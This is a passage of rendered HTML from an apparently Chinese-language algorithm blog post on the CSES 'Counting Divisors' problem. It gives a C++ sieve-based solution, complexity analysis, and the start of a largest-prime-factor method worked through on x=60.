vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4773em;"><span style="top:-2.3097em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop">ln</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">x</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">x</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">)</span></span></span></span></span></p><h2 id="ac-code-2" tabindex="-1" id="AC-Code-3">AC Code</h2><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span><span class="token keyword">const</span> <span class="token keyword">int</span> MAX_X <span class="token operator">=</span> <span class="token number">1e6</span><span class="token punctuation">;</span><span class="token keyword">bool</span> not_prime<span class="token punctuation">[</span>MAX_X <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">int</span> prime<span class="token punctuation">[</span>MAX_X <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> cnt <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">make_prime_list</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> N <span class="token operator">=</span> MAX_X<span class="token punctuation">;</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">;</span>i<span class="token operator">&lt;=</span>N<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span>not_prime<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>      prime<span class="token punctuation">[</span><span class="token operator">++</span>cnt<span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token punctuation">;</span>      <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> j<span class="token operator">=</span><span class="token number">2</span><span class="token operator">*</span>i<span class="token punctuation">;</span>j<span class="token operator">&lt;=</span>N<span class="token punctuation">;</span>j<span class="token operator">+=</span>i<span class="token punctuation">)</span> not_prime<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">bool</span> <span class="token function">is_prime</span><span class="token punctuation">(</span><span class="token keyword">int</span> x<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token keyword">return</span> <span class="token operator">!</span>not_prime<span class="token punctuation">[</span>x<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">v</span><span class="token punctuation">(</span><span class="token keyword">int</span> p<span class="token punctuation">,</span> ll <span class="token operator">&amp;</span>x<span class="token punctuation">)</span><span class="token punctuation">&#123;</span> <span class="token comment">// v代表\nu</span>  <span class="token keyword">int</span> ans <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>x<span class="token operator">%</span>p<span class="token operator">==</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    x <span class="token operator">/=</span> p<span class="token punctuation">;</span>    ans <span class="token operator">+=</span> <span class="token number">1</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> ans<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>ll <span class="token function">divnum</span><span class="token punctuation">(</span>ll x<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>x<span class="token operator">==</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>x<span class="token operator">==</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span>  ll ans <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">&lt;=</span>cnt<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">int</span> p <span class="token operator">=</span> prime<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token number">1LL</span><span class="token operator">*</span>p<span class="token operator">*</span>p<span class="token operator">></span>x<span class="token punctuation">)</span><span class="token keyword">break</span><span class="token punctuation">;</span>    ans <span class="token operator">*=</span> <span class="token function">v</span><span class="token punctuation">(</span>p<span class="token punctuation">,</span>x<span class="token punctuation">)</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>x<span class="token operator">></span><span class="token number">1</span><span class="token punctuation">)</span>ans <span class="token operator">*=</span> <span class="token punctuation">(</span><span class="token number">1</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> ans<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ios<span class="token double-colon punctuation">::</span><span class="token function">sync_with_stdio</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> cin<span class="token punctuation">.</span><span class="token function">tie</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">int</span> n<span class="token punctuation">;</span>  cin <span class="token operator">>></span> n<span class="token punctuation">;</span>  <span class="token function">make_prime_list</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>n<span class="token operator">--</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">int</span> x<span class="token punctuation">;</span>    cin <span class="token operator">>></span> x<span class="token punctuation">;</span>    cout <span class="token operator">&lt;&lt;</span> <span class="token function">divnum</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span> <span class="token operator">&lt;&lt;</span> <span class="token string">"\n"</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="%E8%A4%87%E9%9B%9C%E5%BA%A6-2" tabindex="-1" id="複雜度-3">複雜度</h2><h3 id="%E6%99%82%E9%96%93%E8%A4%87%E9%9B%9C%E5%BA%A6-2" tabindex="-1" id="時間複雜度-3">時間複雜度</h3><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>O</mi><mrow><mo fence="true">(</mo><mi>N</mi><mi>log</mi><mo>⁡</mo><mi>log</mi><mo>⁡</mo><mi>N</mi><mo>+</mo><mi>Q</mi><mo>⋅</mo><mfrac><msqrt><msub><mi>x</mi><mi>max</mi><mo>⁡</mo></msub></msqrt><mrow><mi>log</mi><mo>⁡</mo><msqrt><msub><mi>x</mi><mi>max</mi><mo>⁡</mo></msub></msqrt></mrow></mfrac><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">O\left(N \log \log N + Q \cdot \frac{\sqrt{x_{\max}}}{\log \sqrt{x_{\max}}}\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4507em;vertical-align:-1.0007em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.43em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7253em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mop mtight"><span class="mtight">m</span><span class="mtight">a</span><span class="mtight">x</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.6853em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3147em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.7047em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7253em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mop mtight"><span class="mtight">m</span><span class="mtight">a</span><span class="mtight">x</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.6853em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3147em;"><span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.0007em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></span></p><h3 id="%E7%A9%BA%E9%96%93%E8%A4%87%E9%9B%9C%E5%BA%A6-2" tabindex="-1" id="空間複雜度-3">空間複雜度</h3><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></span></p><blockquote><p>真的很醜</p></blockquote><h1 id="%E8%A7%A3%E6%B3%95%E5%9B%9B%EF%BC%9A%E5%BB%BA%E6%9C%80%E5%A4%A7%E8%B3%AA%E5%9B%A0%E6%95%B8%E8%A1%A8%EF%BC%8C%E5%86%8D%E4%BE%9D%E5%BA%8F%E9%99%A4%E4%BB%A5%E6%9C%80%E5%A4%A7%E8%B3%AA%E5%9B%A0%E6%95%B8%E6%B1%82%E5%9B%A0%E6%95%B8%E5%80%8B%E6%95%B8" tabindex="-1">解法四：建最大質因數表，再依序除以最大質因數求因數個數</h1><p>來源：<a href="https://yuihuang.com/cses-1713/">【題解】CSES 1713 Counting Divisors – Yui Huang 演算法學習筆記</a><br>想法：ㄧ樣是用標準分解式，但在預處理時將<code>not_prime</code>中的值改為紀錄該數的<strong>最大質因數</strong>，然後一步步除掉，同時統計質因數的次方<br>比如<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><mn>60</mn></mrow><annotation encoding="application/x-tex">x=60</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">60</span></span></span></span>，步驟會是：</p><ol><li>令ans=1</li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>60</mn></mrow><annotation encoding="application/x-tex">60</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">60</span></span></span></span>的最大質因數為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>，目前有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>5</mn><mn>1</mn></msup></mrow><annotation encoding="application/x-tex">5^1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span>，還剩<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>60</mn><mi mathvariant="normal">/</mi><mn>5</mn><mo>=</mo><mn>12</mn></mrow><annotation encoding="application/x-tex">60/5=12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">60/5</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">12</span></span></span></span></li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>12</mn></mrow><annotation encoding="application/x-tex">12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">12</span></span></span></span>的最大質因數為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn></mrow><annotation encoding="application/x-tex">3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span>，和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>不同，又因為每次都是除掉最大質因數，所以可知標準分解式中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>的次方一定只有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>次，故將ans乘以<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>+</mo><mn>1</mn><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">1+1=2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>，目前有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>3</mn><mn>1</mn></msup></mrow><annotation encoding="application/x-tex">3^1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">3</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span>，還剩<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>12</mn><mi mathvariant="normal">/</mi><mn>3</mn><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">12/3=4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">12/3</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span> (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>這個質因數處理完畢)</li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>4</mn></mrow><annotation encoding="application/x-tex">4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span>的最大質因數為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>，和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn></mrow><annotation encoding="application/x-tex">3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span>不同，所以再將ans乘以<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>+</mo><mn>1</mn><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">1+1=2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>，目前有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>1</mn></msup></mrow><annotation encoding="application/x-tex">2^1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span>，還剩<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>4</mn><mi mathvariant="normal">/</mi><mn>2</mn><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">4/2=2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">4/2</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span> (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn></mrow><annotation encoding="application/x-tex">3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span>這個質因數處理完畢)</li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>的最大質因數為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>，和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>相同，所以目前有<span class="katex"><span class="katex-mathml"><math 